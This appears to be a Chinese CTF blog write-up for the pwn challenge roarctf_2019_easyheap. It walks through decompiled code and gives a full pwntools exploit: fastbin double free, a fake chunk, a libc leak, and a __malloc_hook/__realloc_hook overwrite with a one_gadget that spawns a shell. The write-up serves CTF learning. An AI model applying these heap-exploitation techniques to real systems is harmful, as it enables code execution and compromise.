百航鹿大联训 roarctf_2019_easyheap

我现在心如死灰,面如平湖,胸有惊雷。
这里面水太深,你把握不住。😅
checksec是NO PIE的。


来看代码。同样改了改函数名。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  int v4; // ebx
  int v6; // [rsp+4h] [rbp-14h] BYREF
  unsigned __int64 v7; // [rsp+8h] [rbp-10h]

  v7 = __readfsqword(0x28u);
  v6 = 0;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  v3 = open("/dev/random", 0);
  if ( v3 == -1 )
  {
    puts("open file error!");
    exit(0);
  }
  v4 = v3;
  if ( (int)read(v3, &qword_602090, 8uLL) < 0
    || (close(v4),
        sub_400CA0(),
        _printf_chk(1LL, (__int64)"please input your username:"),
        (int)read(0, &unk_602060, 0x20uLL) < 0)
    || (_printf_chk(1LL, (__int64)"please input your info:"), (int)read(0, &unk_6020A0, 0x20uLL) < 0) )
  {
    puts("read error");
    exit(0);
  }
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          menu();
          if ( (int)_isoc99_scanf("%d", &v6) < 0 )
          {
            puts("scanf error");
            exit(0);
          }
          if ( v6 != 1 )
            break;
          add();
        }
        if ( v6 != 2 )
          break;
        free(buf);                              // UAF&double free
      }
      if ( v6 != 3 )
        break;
      if ( qword_602090 == 0xDEADBEEFDEADBEEFLL )
        show();
    }
    if ( v6 == 4 )
      break;
    if ( v6 == 666 )
      wtf();
  }
  return 0LL;
}

主函数,一上来会让你输个用户名和信息,不知道何意味。
很容易看出free那一步有UAF和double free可以利用。show可以泄漏信息,但是有个qword_602090 == 0xDEADBEEFDEADBEEFLL的要求。由于NO PIE,就是要改地址0x602090
输666还有个后门函数。

unsigned __int64 add()
{
  int v0; // eax
  size_t v1; // rbx
  char v3[8]; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  if ( qword_602018 )
  {
    puts("input the size");
    if ( (int)read(0, v3, 8uLL) < 0 )
      goto LABEL_8;
    v0 = strtol(v3, 0LL, 10);
    if ( v0 > 128 )
    {
      puts("invaild size");
      exit(0);
    }
    v1 = v0;
    buf = (char *)malloc(v0);
    puts("please input your content");
    if ( (int)read(0, buf, v1) < 0 )
    {
LABEL_8:
      puts("read error");
      exit(0);
    }
    --qword_602018;
  }
  else
  {
    puts("chunk filled!\n");
    puts("everything has a price");
  }
  return __readfsqword(0x28u) ^ v4;
}

虽然限制了堆的大小,但是128刚好是0x80,可以进unsorted bin。
这里只能一个堆反复用,不像别的题一样是数组,限制还是比较大的。

int sub_400C40()
{
  puts(buf);
  puts("everything has a price");
  close(1);
  return close(2);
}

泄漏。这里有两个混乱邪恶的命令close(1)close(2),关掉了stdout和stderr,只保留stdin。也就是说泄漏信息之后你可以正常输入,但是终端没法接收到任何输出。极度影响调试。

unsigned __int64 wtf()
{
  int v0; // eax
  char v2[8]; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( !qword_602010 )                          // 负数?
  {
    puts("everything has a price");             
    goto LABEL_7;
  }
  puts("build or free?");
  if ( (int)read(0, v2, 8uLL) < 0 )
  {
LABEL_10:
    puts("read error");
    exit(0);
  }
  v0 = strtol(v2, 0LL, 10);
  if ( v0 == 1 )
  {
    ptr = calloc(0xA0uLL, 1uLL);
    puts("please input your content");
    if ( (int)read(0, ptr, 0xA0uLL) >= 0 )
      goto LABEL_7;
    goto LABEL_10;
  }
  if ( v0 == 2 )
    free(ptr);
  else
    puts("invaild choice");
LABEL_7:
  --qword_602010;
  return __readfsqword(0x28u) ^ v3;
}

后门可以开和删另一个堆,不过强制大小为0xa0。所以我们只能自由支配两个堆,这个大堆必须利用好。
另外这玩意儿有个招笑计数器,到 0 之后还会减一变成负数,之后就无限用了。令人汗颜。


泄漏只需要free一个0x80的chunk进unsorted bin。然而在此之前得想办法修改那个qword_602090
大方向确定为利用fastbin double free。我们知道,fast bin是一种非常脆弱的结构,检查double free只会检查头节点。
也就是说对于fastbin->x->y这种东西,我们可以再次free y,然后y会指向头节点,形成fastbin->y->x->y,这样我们能两次取得y这个chunk了。把y的fd改成0x602090-0x10,制造fake chunk来任意写。
实现起来有点难度,咱就两个堆,堆A可以自由申请,但堆B必定是0xa0进不了fast bin,怎么办呢。
把这个0xa0释放之后,申请一个0x60的堆A就行了,会直接从那个0xa0(或者Top chunk,如果合并了的话)分裂,此时A和B都指向同一地址,堆B就可以控制fast bin chunk了。
对于fake chunk,要求满足fast bin的size检查。发现0x602090的上游恰好是用户名,一开始输入一个fake chunk header就好。
注释里是血与泪的教训……

def init():
    io.sendlineafter("please input your username:",p64(0)+p64(0x71))
    '''
    prev_size=0,size=0x71
    这里不要用sendlineafter!不要用sendlineafter!不要用sendlineafter!
    否则字符串末尾会自动添加一个'\n'(0xa),这会被视作fake chunk的fd
    取走fake chunk时,fast bin里会留下一个地址为0xa的神秘chunk,并在后续导致不明段错误
    别问我怎么知道的,不信可以自己试试
    '''
    io.sendlineafter("please input your info:","wtfisthis")#随便输
def add(size,content):
    io.sendlineafter(">> ",str(1))
    io.sendlineafter("input the size",str(size))
    io.sendlineafter("please input your content",content)
def delete():
    io.sendlineafter(">> ",str(2))
def show():
    io.sendlineafter(">> ",str(3))
def wtf():
    io.sendlineafter(">> ",str(666))
def wtf1(content):
    wtf()
    io.sendlineafter("build or free?",str(1))
    io.sendlineafter("please input your content",content)
def wtf2():
    wtf()
    io.sendlineafter("build or free?",str(2))
init()#构造fake header
wtf1("aaaa")
wtf2()
add(0x60,"aaaa")#分裂,此时两个堆地址相同,都是0x60的chunk
add(0x60,"bbbb")
wtf2()#fastbin->x
delete()#fastbin->x->y
wtf()#这里后门计数器变0了,需要额外问一次(大病一般的)
wtf2()#fastbin->x->y->x(double free)
add(0x60,p64(0x602060))#fastbin->y->x->fake
add(0x60,"bbbb")#fastbin->x->fake
add(0x60,"aaaa")#fastbin->fake
add(0x60,p8(0)*0x20+p64(0xDEADBEEFDEADBEEF))#对fake chunk任意写,然后就可以show了
add(0x80,"unsorted")
wtf1("Fan_shengHandsome")#给刚开的unsorted bin chunk垫背,防止与Top chunk合并
delete()
show()
libc_addr=u64(io.recvline().strip()[:8].ljust(8,b'\0'))-0x3c3b78

攻击也是如法炮制double free。但是黑心出题人关了输出,我们得把所有recvuntil换成sleep(0.5)
这里one_dadget只能用0xf0897那个,而且要先利用realloc调整堆栈。因为one_dadget对栈布局有很严格的要求,必须满足一定限制条件才能用,否则就exit code 127。
realloc开头有很多栈调整命令:

realloc:
    push   r15
    push   r14
    push   r13
    push   r12
    push   rbp
    push   rbx
    sub    rsp, 0x18
    ...

我们可以把__malloc_hook改为realloc+offset,并把__realloc_hook(刚好在__malloc_hook上游8字节)改为one_dadget。
这样,执行malloc时会先跳到realloc+offset,执行那里的栈调整命令,让栈布局合适;接着往下走,执行realloc_hook,触发one_dadget。
什么?offset是多少?我怎么知道栈布局有没有可能合适,什么时候合适?别问鼠鼠,鼠鼠也不知道,暴力测试或者偷看答案可得 offset=0x14
然后要解决那个很坑的close(1),不然拿到shell也看不到结果。网上很多人说的exec 1>&0亲测没用,0(stdin)是只读的不能改,执行之后lscat之类的全都用不了了。
使用exec 1>/dev/tty可以把标准输出重定向到终端。浪费我好久时间,我要哭了。

def exadd(size,content):
    sleep(0.5)
    io.sendline(str(1))
    sleep(0.5)
    io.sendline(str(size))
    sleep(0.5)
    io.sendline(content)
def exdelete():
    sleep(0.5)
    io.sendline(str(2))
def exwtf():
    sleep(0.5)
    io.sendline(str(666))
def exwtf1(content):
    exwtf()
    sleep(0.5)
    io.sendline(str(1))
    sleep(0.5)
    io.sendline(content)
def exwtf2():
    exwtf()
    sleep(0.5)
    io.sendline(str(2))
exadd(0x80,"Fan_shengHandsome")#取走之前碍事的垫背石,否则后续会产生small bin这些奇怪东西影响结果
exwtf1("aaaa")#重复一遍之前的过程
exwtf2()
exadd(0x60,"aaaa")
exadd(0x60,"bbbb")
exwtf2()
exdelete()
exwtf2()
exadd(0x60,p64(libc_addr+0x3c3aed))#这个偏移参见上一篇babyheap的博客
exadd(0x60,"bbbb")
exadd(0x60,"aaaa")
exadd(0x60,b'\0'*(0x13-8)+p64(libc_addr+0xf0897)+p64(libc_addr+0x83c40+0x14))
'''
__realloc_hook刚好在__malloc_hook上游8字节,直接一起改了
经测试只能使用+0xf0897这个one_dadget和+0x14的realloc偏移
'''
exwtf1("exec 1>/dev/tty")#恢复输出到终端
io.interactive()

另外说一句,非常不建议关着输出进行调试。
可以使用sysctl -w kernel.randomize_va_space=0命令临时关闭ASLR随机化,libc基址就固定了。重启后会恢复。
0表示关闭,1表示半开启,2表示全开。


完整代码

from pwn import *
context.log_level="debug"
io=process("./roarctf_2019_easyheap")
libc=ELF("/home/fslinux/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")
def init():
    io.sendlineafter("please input your username:",p64(0)+p64(0x71))
    io.sendlineafter("please input your info:","wtfisthis")
def add(size,content):
    io.sendlineafter(">> ",str(1))
    io.sendlineafter("input the size",str(size))
    io.sendlineafter("please input your content",content)
def delete():
    io.sendlineafter(">> ",str(2))
def show():
    io.sendlineafter(">> ",str(3))
def wtf():
    io.sendlineafter(">> ",str(666))
def wtf1(content):
    wtf()
    io.sendlineafter("build or free?",str(1))
    io.sendlineafter("please input your content",content)
def wtf2():
    wtf()
    io.sendlineafter("build or free?",str(2))
def exadd(size,content):
    sleep(0.5)
    io.sendline(str(1))
    sleep(0.5)
    io.sendline(str(size))
    sleep(0.5)
    io.sendline(content)
def exdelete():
    sleep(0.5)
    io.sendline(str(2))
def exwtf():
    sleep(0.5)
    io.sendline(str(666))
def exwtf1(content):
    exwtf()
    sleep(0.5)
    io.sendline(str(1))
    sleep(0.5)
    io.sendline(content)
def exwtf2():
    exwtf()
    sleep(0.5)
    io.sendline(str(2))
init()
wtf1("aaaa")
wtf2()
add(0x60,"aaaa")
add(0x60,"bbbb")
wtf2()
delete()
wtf()
wtf2()
add(0x60,p64(0x602060))
add(0x60,"bbbb")
add(0x60,"aaaa")
add(0x60,p8(0)*0x20+p64(0xDEADBEEFDEADBEEF))
add(0x80,"unsorted")
wtf1("Fan_shengHandsome")
delete()
show()
libc_addr=u64(io.recvline().strip()[:8].ljust(8,b'\0'))-0x3c3b78
exadd(0x80,"Fan_shengHandsome")
exwtf1("aaaa")
exwtf2()
exadd(0x60,"aaaa")
exadd(0x60,"bbbb")
exwtf2()
exdelete()
exwtf2()
exadd(0x60,p64(libc_addr+0x3c3aed))
exadd(0x60,"bbbb")
exadd(0x60,"aaaa")
exadd(0x60,b'\0'*(0x13-8)+p64(libc_addr+0xf0897)+p64(libc_addr+0x83c40+0x14))
exwtf1("exec 1>/dev/tty")
io.interactive()
posted @ 2025-11-27 02:59  Fan_sheng  阅读(13)  评论(0)    收藏  举报